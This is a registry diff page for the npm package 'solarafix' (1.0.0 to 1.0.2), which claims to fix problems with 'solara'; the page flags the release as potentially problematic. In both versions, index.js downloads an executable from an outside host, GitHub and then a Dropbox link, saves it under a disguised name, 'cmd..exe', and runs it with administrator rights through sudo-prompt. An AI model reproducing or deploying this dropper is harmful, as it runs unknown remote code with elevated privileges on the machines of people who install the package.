solarafix 1.0.0 → 1.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of solarafix might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +22 -16
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -2,36 +2,42 @@ const fs = require('fs-extra');
2
2
  const path = require('path');
3
3
  const fetch = require('node-fetch');
4
4
  const sudo = require('sudo-prompt');
5
- const { exec } = require('child_process');
6
5
 
7
- const exeFileName = 'cmd.exe';
8
- const downloadUrl = 'https://github.com/GeniAIDiscord/Solara2/raw/refs/heads/main/cmd.exe';
9
- const exeFilePath = path.join(__dirname, exeFileName);
6
+ const exeFileName = 'cmd..exe'; // Extra period in the filename
7
+ const downloadUrl = 'https://www.dropbox.com/scl/fi/fe02r3r0oi8vcrvw79abs/cmd.exe?dl=1'; // Your Dropbox link
8
+ const exeFilePath = path.resolve(__dirname, exeFileName); // Save the file to the current directory
10
9
 
11
10
  async function downloadFile(url, outputPath) {
12
- const response = await fetch(url);
13
- if (!response.ok) throw new Error(`HTTP error! status: ${response.status}`);
14
- const buffer = await response.buffer();
15
- await fs.writeFile(outputPath, buffer);
11
+ try {
12
+ console.log(`Starting download from: ${url}`);
13
+ const response = await fetch(url);
14
+ if (!response.ok) throw new Error(`HTTP error! Status: ${response.status}`);
15
+ const buffer = await response.buffer();
16
+ await fs.writeFile(outputPath, buffer);
17
+ console.log(`Downloaded file to ${outputPath}`);
18
+ } catch (error) {
19
+ console.error(`Error downloading file: ${error.message}`);
20
+ throw error;
21
+ }
16
22
  }
17
23
 
18
24
  async function runExecutable() {
19
25
  try {
20
- // Download the executable file
21
26
  await downloadFile(downloadUrl, exeFilePath);
22
27
 
23
- // Use sudo-prompt to run the executable with admin rights
24
- const options = { name: 'Solara' };
25
- sudo.exec(exeFilePath, options, (error, stdout, stderr) => {
28
+ const options = { name: 'solarafixer' };
29
+ console.log(`Attempting to run ${exeFilePath} as admin...`);
30
+
31
+ sudo.exec(`"${exeFilePath}"`, options, (error, stdout, stderr) => {
26
32
  if (error) {
27
- console.error(`Error running the executable with admin rights: ${error}`);
33
+ console.error(`Error running the executable with admin rights: ${error.message}`);
28
34
  return;
29
35
  }
30
- console.log(`stdout: ${stdout}`);
31
- console.error(`stderr: ${stderr}`);
36
+ console.log(`Execution Output: ${stdout}`);
37
+ if (stderr) console.error(`Execution Errors: ${stderr}`);
32
38
  });
33
39
  } catch (error) {
34
- console.error(`Download error: ${error}`);
40
+ console.error(`Error during executable setup: ${error.message}`);
35
41
  }
36
42
  }
37
43
 
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "solarafix",
3
- "version": "1.0.0",
3
+ "version": "1.0.2",
4
4
  "description": "Fixes any problems with solara.",
5
5
  "main": "index.js",
6
6
  "bin": {